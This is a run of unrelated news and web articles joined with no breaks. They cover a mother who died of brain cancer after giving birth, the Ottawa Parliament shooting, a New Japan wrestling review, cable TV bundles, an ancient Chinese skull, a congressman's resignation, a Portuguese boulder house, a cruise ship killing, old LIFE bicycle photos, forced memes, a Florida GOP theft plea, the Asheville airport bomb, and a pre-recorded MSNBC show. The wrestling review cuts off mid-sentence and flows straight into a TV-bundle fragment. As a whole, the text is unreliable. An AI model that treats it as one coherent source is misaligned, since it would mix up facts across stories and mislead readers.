This October 2013 family photo shows Carrie DeKlyen and husband Nick DeKlyen in Grand Rapids, Mich. Carrie DeKlyen sacrificed the chance to prolong her life to give birth to her sixth child. Doctors removed Carrie's feeding and breathing tubes on Thursday, Sept. 7, 2017, a day after her daughter, Life Lynn, was born at University of Michigan Hospital in Ann Arbor, Mich. DeKlyen chose to forgo clinical trials and chemotherapy to treat her brain cancer, since it would have meant ending her pregnancy. Their daughter was born prematurely, at 24 weeks and five days into the pregnancy and weighing 1 pound, four ounces. (Michelle Werkema/Courtesy of Sonya Nelson via AP) less This October 2013 family photo shows Carrie DeKlyen and husband Nick DeKlyen in Grand Rapids, Mich. Carrie DeKlyen sacrificed the chance to prolong her life to give birth to her sixth child. Doctors removed... more Photo: Michelle Werkema/AP Photo: Michelle Werkema/AP Image 1 of / 3 Caption Close She rejected chemotherapy and chose to die of cancer so she could give birth to her child 1 / 3 Back to Gallery
Two weeks later, another stroke, Nick said. Carrie's brain was so swollen that doctors had to remove her skull.
By the time Carrie was 22 weeks pregnant, her baby's growth had slowed; she weighed only 378 grams, or eight-tenths of pound. To survive birth, the baby had to be at least 500 grams, just a little more than a pound, Nick said.
Another two weeks went by. Good news came: The baby weighed 625 grams. The bad news was the baby was not moving.
Nick said he was given two options. He could do nothing and hope the baby starts moving and continues growing. But doing nothing meant his child could die within an hour. Or he could authorize a Caesarean section and get the baby out. Nick chose the latter option.
His daughter, Life Lynn DeKlyen, was born at 5:30 p.m. Wednesday. She weighed 1 pound 4 ounces. Nick said his wife and he came up with her daughter's name before Carrie got sick.
"It was kind of bittersweet because my wife's not awake. She's going to pass away," Nick said. "After that, I went to the surgeon and said my wife had enough. She's gone through so much pain these last five months."
Carrie lived briefly after doctors unhooked her life support.
"I sat by her the whole time. I kind of held her hand and kissing her, telling her that she did good," Nick said. "I told her, 'I love you, and I'll see you in heaven.' "
Early on Friday morning, Nick said his wife opened her eyes, then closed them again. She clenched her hands tightly, then slowly, she stopped breathing. Carrie died at 4:30 a.m.
Carrie's story was chronicled in a Facebook page called Cure 4 Carrie, which has since attracted more than 16,000 followers.
Now, four days after his daughter was born and two days after his wife died, Nick is dividing his time between planning a funeral and visiting his newborn, who has to remain in intensive care for several weeks. Nick lives temporarily in the Ronald McDonald House in Ann Arbor, just a short walk from the hospital. On weekends, he drives two hours back to Wyoming to visit his other children, ages 18, 16, 11, 4 and 2.
The 39-year-old is still figuring out his family's future. Four years ago, he said, he started a vending machine company that he later sold to his brother. But right now, he does not have a source of income.
"My wife's gone. I have six kids, three are under the age of 5. I'm just going to focus on my daughter right now, getting her home," he said. "As far as what I'm going to do after that, I can't tell you."
A GoFundMe page to help the family has raised more than $100,000 as of Sunday afternoon.
Nick dismissed critics who questioned the couple's decision to put their faith first, saying keeping their child showed his wife's selflessness.
"She gave up her life for the baby," he said, adding later: "I just want people to know that my wife loved the Lord. She loved her kids. She put anybody in front of her needs.... She put my daughter above herself."A soldier was fatally shot at the National War Memorial Wednesday morning before a single, masked suspect was shot dead in Parliament. In the midst of the chaotic situation, authorities said they were seeking multiple shooters, but while police continued their search into the afternoon, they declined to say whether they believe the gunman acted alone.
“Let there be no misunderstanding. We will not be intimidated,” Prime Minister Stephen Harper said in a message to the country Wednesday evening.
“One shooting victim succumbed to injuries. He was a member of the Canadian Forces. Our thoughts and prayers are with him and his loved ones,” Ottawa police said in a statement.
The soldier has been identified by the National Post as Cpl. Nathan Cirillo, 24, a reservist based out of Hamilton, Ontario.
“Today a member of Hamilton’s own Argyll and Sutherland Highlanders was killed while performing the duties of a sentry at the National War Memorial,” Hamilton Mayor Bob Bratina said in a statement.
Two others were injured in the attack, one of them a security guard at Parliament’s Centre Block. Both are in stable condition.
One male gunman has also been confirmed dead.
Sources told The Canadian Press that Kevin Vickers, the sergeant-at-arms for the House of Commons and 29-year RCMP veteran, shot the gunman within Parliament.
CBS News said the gunman has been identified as Michael Zehaf-Bibeau, a Canadian born in 1982, citing unnamed U.S. government sources.
The RCMP and Ottawa police have not made a statement on the gunman’s identity.
“This is an ongoing joint police operation and there is no one in custody at this time,” is how Ottawa police and the RCMP described their joint investigation.
At an afternoon press conference, police said they could not yet confirm if the gunman who shot the soldier is the same as the one who was killed in Parliament.
Gilles Michaud, RCMP assistant commissioner, called it a “dynamic, unfolding situation.”
Police have been tight-lipped with information, leaving politicians to be the first to break news Wednesday.
“Gunman at Parliament’s Centre Block has been shot and killed,” Conservative MP Bernard Trottier tweeted at 10:30 a.m. Tory MP Bob Zimmer also reported the same.
Police expanded their perimeter throughout Wednesday afternoon and have confirmed there were shootings in two areas, the National War Memorial and in Parliament. Police said there was no shooting at the Rideau Centre, as was reported earlier during the chaotic situation.
Around 1:40 p.m., a security alert warned that all buildings in the Parliamentary precinct were still on lockdown.
“This means stay in your office, with the doors locked and away from the windows. If your door does not lock, find a way to barricade the door, if possible,” read the alert, circulated by email. “Do not open the door under any circumstances. Security Services has the required keys.”
Police asked citizens to not tweet the locations of the officers involved as the RCMP describes the situation as “ongoing.”
Ottawa Civic hospital received two new patients at about noon, one with gunshot wounds and the other with unknown injuries. Both were reported to be in stable condition.
The hospital would not comment on the condition of the soldier.
In video taken within Parliament at about 10 a.m., about a dozen gunshots can be heard within the halls.
Witnesses reported hearing shots in different corridors of Parliament and some fled the building by using the scaffolding erected for renovations.
Several medics and bystanders performed CPR on the soldier before he was taken away by ambulance.
“There is a shooter on the loose,” a police officer in the area told the Post‘s John Ivison shortly after 10 a.m.
The PMO said earlier Wednesday that Prime Minister Stephen Harper was safe and left Parliament Hill for an unknown location. Both NDP Leader Thomas Mulcair and Liberal Leader Justin Trudeau were reported safe.
One suspect was described as “5’9-5’10, overweight and wearing a dark jacket, with a white scarf around his face,” by Stuart Barnable, a Liberal staffer who said he witnessed the events from East Block.
Another eyewitness described the gunman as: “young, 30ish, Caucasian and male.”
A Dutch tourist said he heard at least four shots and saw the assailant running towards Parliament Hill, carrying a large rifle.
A Toyota Corolla, with no plates on it, was left outside of Parliament Hill. Multiple witnesses said they saw a gunman get out of it and attack the soldier. Bomb locating robots were deployed by police near the car.
U.K. Prime Minister David Cameron offered his “full support” to Prime Minister Harper.
“I’m appalled by today’s attack in Ottawa,” he wrote on Twitter.
Reports of at least one active shooter sparked chaos in Canada’s Parliament as MPs — and the Prime Minister — met just steps away from where a gunman opened fire.
Reporters and staffers grabbing breakfast and coffee were ushered in to the fifth floor cafeteria as security confirmed that there was an active shooter on the 2nd floor.
Huddled into a corner, with some staffers chanting prayers and others trying to laugh off the fear, two dozen Parliament Hill workers rapidly checked Twitter as reports circulated that one or two gunmen may still be on the loose.
Many reporters had been in the Hall of Honour — not far from where the gunman later opened fire — when the first shooting occurred. Parliament Hill then went on lockdown.
For the staffers huddled there, it was impossible to know the situation. Reports circulated of active shooters as cooks, unarmed security and an assortment of others huddled under counters.
A Liberal party staffer locked in an office on Parliament Hill said Justin Trudeau was in Centre Block for a 10 a.m. caucus meeting when shots broke out.
“I don’t know where he is, but I’m told he’s in a secure location,” the staffer said around 11 a.m.
Trudeau’s office put out a statement later Wednesday.
“All Canadians are particularly shocked and saddened by the horrific shooting of a young man, as he dutifully guarded our National War Memorial,” the statement read.
“Canadians are a resilient people who treasure our freedom. We cannot and will not allow armed criminals to terrorize our country and our democracy. Mr. Trudeau spoke with the Prime Minister earlier this afternoon and offered the Liberal Party of Canada’s absolute support as we seek to prosecute those responsible for this attack, and prevent events like it from happening in the future.”
All Ottawa police stations were closed as a result of the shooting. Military bases throughout Canada have also been placed under lockdown.
The incident comes two days after a Canadian soldier was struck by a car and killed in Quebec by a man with jihadist sympathies. The gunman was later killed by police.New Japan Pro Wrestling rolled into Osaka’s Bodymaker Colosseum for NJPW “Power Struggle” featuring a loaded lineup of singles matches that would help continue to set the scene for January’s Tokyo Dome event, plus two very intriguing tag team title matches.
While the outcome was certainly not in doubt in the IWGP Heavyweight Title main event, the question was whether Kazuchika Okada’s title defense against Karl Anderson could match the quality of Hiroshi Tanahashi’s match of the year contender that he produced with Anderson earlier this year. The storyline coming in was Anderson, who lost to Okada in the 2012 G1 Climax final, seeking revenge for Okada “taking his spot” as IWGP champion.
Hiroshi Tanahashi and Tomohiro Ishii were given the nearly impossible task of matching their G1 tilt, in what was yet another Tanahashi match of the year contender in a year that has seemingly featured 8-10 such matches. Tanahashi’s 2013 has to be considered one of the greatest in ring years in professional wrestling history and Ishii seems primed for the first major push of his life with his unique underdog charisma.
In perhaps the most intriguing of the big singles matches, Shinsuke Nakamura, who has single handedly shown that it is still possible to elevate a title these days with his brilliant run as IWGP Intercontinental champ, defended his title against Minoru Suzuki. Of the four big singles bouts, this was the least predictable and a potential show stealer, even on a show featuring multiple potential high-level matchups.
Tetsuya Naito is sort of running in place waiting for Dome and faced Masato Tanaka, the man he defeated for the NEVER Openweight championship several months back. There was zero percent chance Tanaka could win, since the Dome title shot was on the line, but these two always have good matches, even if the veteran Tanaka tends to eat up the offense.
The Young Bucks debuted in New Japan this month as members of the Bullet Club, and have been given the rocket pack push, defeating Barreta & Brian Kendrick, Gedo & Jado, and Forever Hooligans on their way to winning the 2013 Super Junior Tag Tournament. In addition, on this, their first tour, they headlined on every house show stop teaming with Anderson against Okada and a rotating combination of partners, and were already challenging for the IWGP Junior Heavyweight Tag Team titles on the PPV at the end of the tour. They are the injection that the stale junior tag scene badly needed.
An odd three-way tag match, with both the IWGP Heavyweight Titles (TenKoji) & the NWA World Tag Team Titles (Killer Elite Squad) on the line featured two falls, one for each title. NWA World Champion Rob Conway returned, teaming with NWA Branded Outlaw Wrestling’s Jax Dane, a big hoss who was making his in ring New Japan debut after previously acting as Conway’s bodyguard. There were questions as to whether Dane could hang at this level, with perhaps the most talented roster in the world.
Osaka, which is typically a hot crowd, was just treated one week ago to a very well received Dragon Gate show that drew 5,000 fans. No attendance was available, as of this writing, but with different fan bases, I doubt the Dragon Gate show had much of an effect if any on this event. UPDATE – puroresufan.com is reporting 6,400 fans – Super No Vacancy
0. Yujiro Takahashi, YOSHI-HASHI, Forever Hooligans vs. Captain New Japan, BUSHI, KUSHIDA, Manabu Nakanishi – Nothing match. The big spot was Nakanishi doing a plancha. That got a big pop even though it looked terrible. The Hooligans hit the Contract Killer on BUSHI for the win. *1/2
1. IWGP Junior Heavyweight Tag Team Titles – TAKA Michinoku & Taichi (c) vs. The Young Bucks – No Bullet Club at ringside for the Bucks. The champions worked face. TAKA & Taichi, who surprisingly knocked off the Forever Hooligans to win the titles, came in with one successful defense, defeating Gedo & Jado on a TAKA & Tachi produce independent show last week. After a series of crazy dives off the top and over the railing, TAKA got a visual tap on a crossface after a ref bump. The Bucks came back with a double superkick on TAKA for two, and another near fall on a springboard spike piledriver. After dispatching Taichi (who broke up the pin following the piledriver) from the ring, they hit More Bang for Your Buck to win the titles. Not bad, but not at the level of the Hooligans/TimeSplitters matches. Post match, The Hooligans hit the ring and challenged for the titles, as did KUSHIDA, who said in English, “Time Splitters coming soon”. Then Taichi talked. It appears a four way for the titles is coming, possibly for the Tokyo Dome show. In an interesting note, The Young Bucks now hold tag team titles under both the New Japan & Dragon Gate (Open the United Gate) banners. **3/4
2. Tomoaki Honma vs. Katsuyori Shibata – The second extended squash this week for Honma, who did a masterful job getting Bad Luck Fale over as a monster on 11/6. He had his moments here, including a big lariat & brainbuster for a two count, but then he missed his falling headbutt finish and Shibata continued with the murder. Honma’s mouth was busted open, which made for a great visual when he caught the leg on a Penalty Kick attempt and then ate a million hard slaps, with blood flying everywhere, as Shibata tried to free himself. Honma survived a choke, the big corner dropkick, a pedigree, and a gut wrench suplex before falling to Hirooki Goto’s finish, foreshadowing Shibata vs. Goto at Dome. Shibata was all business here, and stormed off right at the bell. This was so good. As good as it gets for a squash, and Honma is my new favorite guy to get people over. He really excels in the role. ***1/2
3. Yuji Nagata & Kazushi Sakuraba vs. Toru Yano & Takashi Iizuka – I was not looking forward to this. Rare is the match where Yano is my favorite guy. Iizuka went after Nogami again (the announcer), put a bell around his neck, and painted his face like Doraemon, a Japanese anime cat. This was a lot of brawling and Saku’s fake MMA that looks horrible. Nagata showed some good fire, but as expected, I could not get into this. Crowd loved the finish, with Shibata spitting blue mist into Iizuka’s eyes as Iizuka loomed with the Iron Glove. Then the faces finished off the heels with dueling arm submissions. **
4. IWGP Tag & NWA World Tag Double Championship 3WAY Match: [62nd IWGP Champions] Hiroyoshi Tenzan & Satoshi Kojima vs. [NWA Champions] Lance Archer & Davey Boy Smith Jr. vs. [Challengers] Rob Conway & Jax Dane – This match was set up at an NWA show in San Antonio, and had wacky rules, with two falls, one for each set of titles. The question mark here was how would Dane do, stepping up and working the biggest match of his career? This was also Kojima’s return match from his shoulder injury. Bruce Tharpe waived a giant NWA flag and cutting an anti-Japan promo before the introductions. The NWA titles were contested in the first fall. This was tornado style. Dane & Conway dominated Tenzan for most of the fall as everybody else brawled outside. Dane looked good using power moves. Conway went for the Ego Trip but Kojima made the save. KES spent most of this on the floor. Tharpe hopped on the apron to distract Kojima, and Dane hit a big spear. Tharpe is so, so awesome in his role. Conway then hit the Ego Trip on Kojima to win the NWA titles. IWGP fall was mostly KES vs. TenKoji. KES hit two Killer Bombs, pinning Tenzan, to win the IWGP titles. This was a good all out brawl. Dane did well, and Kojima looked good even with the taped up shoulder. ***
5. Togi Makabe & Kota Ibushi vs. Prince Devitt & Bad Luck Fale – This was ok, nothing wrong with it, but it |
the ability to choose two of seven channel packs based on genre, for $54.99 per month. Additional packs are available for an addition $10 per month.
But the analyst said that based on conversations with the participants based on other offerings like Sling TV and a fictional “fantasy bundle” of any 10 channels they wanted for $20 per month, he has a good idea of how attractive they would be. According to Juenger, the channels selected by the participants for their “fantasy bundle” would move across 4 to 6 of the available Custom TV Packs, costing between $65 and $85 per month. At that price, Juenger wrote the participants were better off sticking with their existing pay TV package.
Just like in the other focus groups, the Chicago and Boston participants said they only watched a handful of channels, but placed a high value on choice. For them, when actually forced to consider cutting the cord, they all came up with excuses not to.
“After all these focus groups, we think we figured out what consumers really want. What they really want is to pay less for the TV service they currently have,” Juenger wrote. “They think they'd like to stop paying for channels they don't care about, but they aren't willing to give up the ones they do care about, and they do place meaningful "option value" on having lots of choices.”A view of the Xujiayao site (below) and internal and external view of the Xujiayao 11 skull piece with its position indicated on the drawing of a complete skull (above). Credit: Erik Trinkaus
ST. LOUIS, March 18 (UPI) -- An ancient human skull found in China suggests inbreeding might well have been common among our ancestors, Chinese and U.S. researchers say.
The 100,000-year-old skull unearthed at Xujiayao in northern China exhibits a congenital deformation -- an enlarged parietal foramen or "hole in the skull" -- that is consistent with modern humans diagnosed with a rare genetic mutation, the researchers report in the journal PLoS ONE.
The mutation, which occurs in about one out of every 25,000 modern human births, prevents the closure of small holes in the brain case, a process normally completed within the first five months of fetal development.
The evidence of the mutation is found unusually often in skulls of our ancient ancestors such a Homo erectus and other Pleistocene hominids, the researchers said.
"The probability of finding one of these abnormalities in the small available sample of human fossils is very low, and the cumulative probability of finding so many is exceedingly small," study co-author Erik Trinkaus of Washington University in St. Louis said.
That a mutation found in modern times has also been found in several different ancestors of modern humans suggests the possibility of significant inbreeding among them, the researchers said.
"The presence of the Xujiayao and other Pleistocene human abnormalities therefore suggests unusual population dynamics, most likely from high levels of inbreeding and local population instability," Trinkaus said.
The study's coauthors include Xiu-Jie Wu and Song Xing of the Institute of Vertebrate Paleontology and Paleoanthropology in Beijing.Rep. Aaron Schock (R-Ill.) will resign from Congress amid a controversy over his spending habits, Politico reported Tuesday.
In a statement to Politico, the congressman said he will resign effective March 31.
"I do this with a heavy heart," reads the statement. "Serving the people of the 18th District is the highest and greatest honor I have had in my life. I thank them for their faith in electing me and letting me represent their interests in Washington."
Schock continued: "But the constant questions over the last six weeks have proven a great distraction that has made it too difficult for me to serve the people of the 18th District with the high standards that they deserve and which I have set for myself. I have always sought to do what’s best for my constituents and I thank them for the opportunity to serve."
Schock's spending came under scrutiny after a Washington Post report highlighted the Republican's newly redecorated office, allegedly modeled after the popular British period drama "Downton Abbey." The report noted that the office's decorator, Annie Brahler, remodeled the office for free, sparking an ethics complaint against the congressman.
Schock ultimately repaid $40,000 for the redecoration, but the initial story set off a series of reports on the 33-year-old congressman's lavish spending habits. Subsequent reports detailed a taxpayer funded weekend in New York for his staffers, a dozen charter flights worth over $40,000 on donors' planes and $24,000 in campaign funds spent on concerts and events, including a sold-out Katy Perry concert.
Other reports raised questions over Schock's relationships with donors. In February, a complaint was filed against Schock over the alleged sale of his home to a campaign donor for a significant profit. And earlier this week, the Chicago Tribune reported that multiple Schock donors were directly involved in a 2014 property deal in which the congressman paid one donor for a commercial property, and then took out out a mortgage for that property from a bank run by other donors.
Schock was first elected to office in 2008, becoming the youngest member of the House of Representatives. (Currently, he is the third youngest member serving.) Prior to his stint in Congress, Schock served in the Illinois House of Representatives.
Under Illinois election law, Gov. Bruce Rauner (R) must issue a writ of election to county clerks within five days of the office vacancy. From that point, the state must hold a special election for the empty seat within 115 days.
"This is a sad day for the people of Illinois and the 18th District," Rauner said in a statement.The 'House of Stone' stands on a remote hillside in northern Portugal. Photo via flickr
It's a bit of a shame that the easiest way to describe this magnificent structure requires reference to a cartoon from the 1960s, but the way in which it incorporates its natural setting defies most conventional description. Located in the Fafe mountains of northern Portugal, A Casa do Penedo, or "the House of Stone," was built between four large boulders found on the site. Although the house may seem rustic, it is not lacking in amenities, which include a fireplace and a swimming pool--carved out of one of the large rocks. But, as word has spread, the sleepy little house has had visitors venturing to see it in droves.
The two-story home is built between four large boulders. Photos via Feliciano Guimarães
The house was built in 1974 as a family's rural retreat, but in recent years it has attracted the attention of tourists and architecture enthusiasts alike for being so perfectly integrated into its natural surroundings. Interest in the stone house has grown to the point that the current owner, Vitor Rodrigues, has had to move to find solace from the curious visitors.
For security, the house features bullet-proof windows and a steel door.
Because of the recent interest generated by the house and its remote location, Casa do Penedo has been the subject of robbery attempts and vandalism in recent years. Now, the house is equipped with bullet-proof windows and a steel door. Inside, however, the home is said to be quite cozy, with stone furniture, stairs, and railings made of logs.
The eco-friendly house has a view of wind-turbines on the Portuguese hillsides.
Recently, the house was the subject of a story in Portuguese media, which offers a peek into the home's interior:
While there may be no shortage of modern, eco-friendly design ideas being generated in the architectural community today, there's still something breathtakingly original about a house that looks straight out of the Stone Age.
More on Eco-Friendly Architecture
House HB Blends Into Slovenian Landscape
Green Roofs + Green Belts = Greenwash
Architect Claims Reboot House Is Eco-FriendlyBy RACHEL D’ORO and BECKY BOHRER, Associated Press
ANCHORAGE, Alaska (AP) — A Utah man killed his wife aboard an Alaska cruise and told an acquaintance who later walked into the blood-splattered cabin that he did it because she would not stop laughing at him, the FBI said in documents released Thursday.
Kenneth Manzanares was found in the couple’s room on the Princess Cruises ship Tuesday night with blood on his hands and clothes and blood spattered throughout the cabin, according to a criminal complaint by FBI Special Agent Michael L. Watson.
The agency said the 39-year-old woman, identified only as K.M., had a severe head wound but didn’t reveal any other details about her death.
Manzanares was arrested aboard the 3,400-passenger Emerald Princess that had left Sunday from Seattle.
Before medical workers and security officers responded, the acquaintance and at least one other person went into the cabin and saw the woman on the floor covered in blood, according to court documents. Manzanares grabbed his wife’s body and dragged her to the balcony before the man stopped him, Watson wrote.
A ship security officer handcuffed Manzanares in a nearby cabin, and he was taken into custody late Wednesday.
The ship was diverted to Alaska’s capital city because of the investigation, which the FBI is leading because the death occurred in U.S. waters. The ship docked in Juneau on Wednesday morning, and passengers were kept on board for hours before the cruise departed late that night for the southeast Alaska town of Skagway.
Princess Cruises said in a statement Thursday that passengers will receive $150 onboard credit because of the effect on their vacations.
“You feel sorry for the family but a lot of people had to wait,” said Lloyd Barrows, a passenger from Alberta, Canada.
The U.S. attorney’s office announced it would hold a news conference with representatives of the FBI and Coast Guard on Thursday in Anchorage to announce federal charges against Manzanares.
___
Bohrer reported from Juneau, Alaska.Caption from LIFE: "Gangbusters Bike mounts 13 shotguns, two revolvers, six bayonets, flare gun." Photo: Wallace Kirkland—Time & Life Pictures/Getty Images Caption from LIFE: "Four-man bicycle is powered by five chains and has brakes on both its wheels. The bike was built by Art Rothschild (top position) who broke three ribs while learning how to ride it." Photo: Wallace Kirkland—Time & Life Pictures/Getty Images Caption from LIFE: "Bedstead Bike was dreamed up by Joe Steinlauf, who got the idea while lying around in bed one morning." Photo: George Skadding—Time & Life Pictures/Getty Images Bicycle, Chicago, 1948. Photo: Wallace Kirkland—Time & Life Pictures/Getty Images Caption from LIFE: "Square-wheeled bike held by Bernard Steinlauf was built by son Dave after seeing a bicycle wreck." Photo: Wallace Kirkland—Time & Life Pictures/Getty Images
Wired is celebrating Bike to Work Week by reviewing the hottest bikes and gear out there today, but in order to appreciate how far we've come, it's also time to take a look back.
That's why we love the old bike photos that Life.com has pulled from their LIFE magazine archive. The photos originally ran in the December 27, 1948 issue and they show members of the Chicago chapter of the National Bicycle Dealers' Association riding, or at least trying to ride, a series of outlandish bicycles they designed and built.
There's the bike made out of a bed, the double-decker bike for four people and our personal favorite, the "Gangbusters Bike," which had 13 shotguns, two revolvers, six bayonets and a flare gun mounted to it – perfect for Bike to Work Day if you're a '40s mobster.
Ben Cosgrove, the editor at Life.com, says the website often tries to dig up fun photos from the magazine's archive to help celebrate certain holidays. While LIFE, which ceased publishing as a weekly magazine in 1972, is most well known for the iconic photos it published – like Capa's photo of the Spanish Civil War soldier, or Eppridge's photo from the Robert Kennedy assassination – Cosgrove says there is a wealth of quitter, or sillier photos, that also ran in the pages.
"What we're trying to do is bring back the lighthearted and forgotten stories as well the signature moments that LIFE covered throughout the 20th century," he says.
Check out the rest of the photos over at Life.com.[Work in Progress]
h2. About
A forced meme is any "meme" that is artificially created and spread. Rather than spreading through word of mouth as a naturally created meme, a forced meme made with the intent of becoming a meme and aggressively promoted by its creator. Most forced memes quickly disappear; however, some have successfully become a part of Internet culture.
Most forced memes are small-scale efforts by an individual to create a meme, but occasionally a company will attempt to force a meme through viral marketing or astroturfing in order to promote their product, such as Circus Afro for the 2012 film Madagascar 3.
A TV Tropes article on forced memes was created in August 2010.
Spread
Simpsons character Milhouse was the subject of a series of spam threads on 4chan's /b/ board in 2004 and 2005. This flagrant forced meme attempt spurred /b/ users to spam "Milhouse is not a meme," causing this phrase to become a meme in itself while the Milhouse forced meme failed to get off the ground.
Although the Milhouse spam threads have long since vanished (bar the occasional troll thread), Millhouse has become forever synonymous with forced memes. To this day, many attempts to force memes are met with Millhouse and "Millhouse is not a meme" reaction images.
"Fuck Yeah Seaking" originated on /b/ as a forced meme similar to Milhouse. Now, F* Yeah Seaking is popular not only on /b/ but many other websites, commonly seen interacting with other memes. People still note the fact that it is a forced meme, but that particular history has faded through use of the meme.
Common examples of forced memes can be found as "gets" on 4chan. There will be a time when a person posts a picture, followed by "(#) get and this is a meme." If the get is a fail, people are happy that they won't have to deal with the implications of the get had it been gotten.
External ReferencesORLANDO, Fla. (AP) — Former Republican Party of Florida chairman Jim Greer pleaded guilty to theft and money laundering charges Monday just before jury selection in his criminal trial was to begin.
Greer pleaded guilty to four counts of theft and a single count of money laundering for funneling money from the Republican Party of Florida to a company he set up with his right-hand man. He could be sentenced to a minimum of 3 ½ years and a maximum of 35 years in prison at his March 27 sentencing.
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The plea deal avoids would could have been an embarrassing trial for the state GOP. Some of Florida's most powerful politicians were scheduled as witnesses, including former Gov. Charlie Crist, former U.S. Sen. George LeMieux, former Florida Attorney General Bill McCollum and several state House and state Senate leaders.
"There were a number of people who did not want this trial to go forward and the trial isn't going forward," said Damon Chase, Greer's attorney. "Once again, Jim Greer is falling on his sword for a lot of other folks."
Topics that were covered in pretrial depositions included allegations of prostitutes at a state GOP fundraiser in the Bahamas, lavish spending on fancy restaurants and luxury hotels by state party leaders, the drinking habits of Crist and party leaders stabbing each other in the back.
Greer, 50, was vice mayor of the small central Florida town of Oviedo when Crist surprisingly picked him to be the state party chairman after he led local efforts to help Crist get elected governor in 2006. He previously was the president and CEO of a company that provides training to the hospitality industry on how to comply with alcohol laws.
Crist didn't immediately return a phone call seeking comment.
The Republican Party of Florida said in a statement that Greer had tried to damage the party's reputation since his arrest in 2010.
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"But the truth is now known that Jim Greer broke the law, stole from the RPOF and our donors, and then said and did everything he could to cover up and distract attention from his crimes," the statement said.
Stephen Dobson, an attorney for the party, said Greer's acknowledgment of guilt was what the party wanted all along. Party officials weren't worried about potentially embarrassing testimony at trial, he said.
"There was absolutely no concern. In fact, a lot of people were looking forward to clearing a lot of these allegations that had been made up," Dobson said outside the courtroom. "Today the truth came out."
The plea deal was reached at the last minute. Jury selection was set to begin early Monday, but neither Greer nor prosecutors had appeared in the courtroom an hour after the trial was supposed to start.
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Greer had earlier pleaded not guilty to allegations that he funneled almost $200,000 of party money into a company he had formed with his right-hand man, Delmar Johnson. Johnson had been scheduled to be prosecutors' star witness and was granted immunity in exchange for his testimony.
"It's Finally Over!!!" Johnson posted on Facebook after the deal was announced in court.
Greer had said party leaders were aware of the company and that his prosecution was political payback.This past Friday morning, at 12:39 a.m., security footage from the Asheville Regional Airport in North Carolina showed a man walking through the front doors wearing black clothing and a black cap, while carrying a bag. “Based on a review of the video, the individual walked near the entrance to the terminal, went out of sight momentarily, and was then seen departing the area without the bag,” according to the criminal complaint.
It’s strange how some things really catch on and go viral, and others don’t. These days, nothing quite makes a story blow up — no pun intended — like the president’s fixation with it. That’s why it’s so peculiar that what sure looks like an attempted terrorist attack was narrowly thwarted at an American airport this past Friday without so much as a peep from Donald Trump about it. No tweets. No nicknames for the alleged would-be terrorist. Nothing. You’ll see why in a minute.
What investigators eventually found in the bag was AN/FO (ammonium nitrate/fuel oil) explosives that, according to the criminal complaint, have been used “in a number of terrorist-related incidents around the world. When AN/FO comes into contact with a flame or other ignition source, it explodes violently. Nails or ball bearings are often items added to the device so as to increase the devastation inflicted by the explosion.”
Following the Transportation Security Administration’s protocols, airport security allowed a bomb dog to sniff the bag for explosives, and the dog signaled to the team the presence of dangerous materials in the bag. The concourse was then shut down. The street leading to the airport was shut down. And Asheville Regional Airport officials found themselves in a dangerous emergency situation.
In fact, sharp nails and bullets were found in this improvised explosive device. Whoever built it designed the bomb to cause horrific bodily harm. Before disarming it, authorities discovered that the alarm attached to it was scheduled to go off at 6:00 that morning just as a fresh round of travelers was scheduled to arrive at the airport.
The man who planted it, it turns out, openly admitted to authorities that he was “preparing to fight a war on U.S. soil” and that this bomb was but one part of that war.
Little Fanfare
I bet you never heard about it. I keep an eye on these types of incidents closely, and I didn’t hear about it. Someone who follows me online who happens to live in Asheville sent me the story this morning — shocked that it hadn’t gotten any play at all beyond a few mentions in the local paper and some isolated pickup by a few national outlets.
As soon as I clicked on the article, it all made perfect sense.
The story didn’t go viral and Trump didn’t tweet about it because the bomb was not placed by an immigrant, or a Muslim, or a Mexican. It was placed there by a good ol’ white man, Michael Christopher Estes. Unlike the Las Vegas shooter, Stephen Paddock, whose motive is still hard to discern, Estes wanted to be very clear that his ultimate goal was to accelerate a war on American soil.
Sorry if it sounds like you’ve heard this story before. I’m as tired of writing it as you are reading it, but you know good and well that if Estes was a young Muslim — hell, if he had ever even visited a mosque in the past 25 years — that Trump would be tweeting about him right this very moment to tout how essential a Muslim ban is for American safety.
A Muslim attacker’s mugshot would become a meme across the conservative media. Mainstream American outlets would be covering the heroic bravery of those who thwarted the terrorist plot. We’d all be seeing footage of the perpetrator being walked from the police car to the jail and from the jail to the court room. Out loud, people would talk and tweet about the man’s family and friends and networks — wondering where he was radicalized, and if anyone else feels the way he does.
In this case, though? Crickets. We hear nothing at all — almost exclusively because the man who planted an improvised explosive device, just like ones that have been used to murder and maim people all over the world, was white. His guilt starts and stops with him. His actions aren’t an indictment of his whole faith, political outlook, and race. White people aren’t, thanks to Estes, suddenly labeled terrorists or seen as a threat to American safety in the way that would almost certainly happen had it been anybody other than a white man.
This isn’t me calling for all of those things that happen to Muslims and immigrants every single day to now happen to Estes and white people all over the country. It’s me saying that the fundamentally bigoted double standard by which it is done to virtually everyone except for Michael Christopher Estes and other white men has to stop.Mika Brzezinski and Joe Scarborough’s post-Thanksgiving Day turkey talk turned out to be a lot of baloney.
The hosts of MSNBC’s “Morning Joe” tried to pull a fast one on Friday as they pretended their day-after-Thanksgiving show was live. The program, however, had been pre-recorded.
“Day after Thanksgiving… I’m stuffed,” Brzezinski exclaimed as the show opened, with her co-host and fiancé agreeing.
Later in the program, the ruse continued as Brzezinski joked about not removing the packaged turkey parts from inside the “still frozen” bird before cooking it.
“I always cook the turkey with the guts in it!” she said.
“Joe didn’t notice. He ate the bag,” co-anchor Willie Geist said.
“It was good… the game last night made up for it,” Scarborough chimed in, stifling a giggle.
MSNBC contributor, Rick Tyler, shared that his holiday was “very successful” and “the conversations were interesting.”
Although there was no disclaimer or announcement that the show, which airs live on MSNBC five days a week, was pre-recorded, the “Live” graphic at the bottom of the screen was removed.
Donald Trump crushes CNN with a simple comparison to Fox News. When CNN responds… WHOA
The hosts continued their banter and eventually turned to discussing – and attacking – their favorite subject, President Trump.
The “Morning Joe” crew never mentioned the biggest story breaking that morning, however: Friday’s deadly terrorist attack on a mosque in Egypt which obviously had not happened yet when the show was being taped.
The Washington Post reported on the apparent deception after a regular “Morning Joe” viewer contacted the publication asking if MSNBC was airing “fake news.”
“I was quite flabbergasted by the way they were so deceptive about this... especially when they are always so quick to castigate lying [or] deception they attribute to others,” the viewer said.
Damn, even WaPo is calling out @JoeNBC for fake news. https://t.co/QZXyheOFIM — Mike Cernovich 🇺🇸 (@Cernovich) November 25, 2017
An anonymous MSNBC executive confirmed to the Post that the program wasn’t live.
“There was no intention to trick viewers,” she said.
“Would it have helped if there was a disclaimer,” she added. “Maybe. But that’s not typically done.”
Others were not so quick to dismiss the deceit and called out the show on social media.
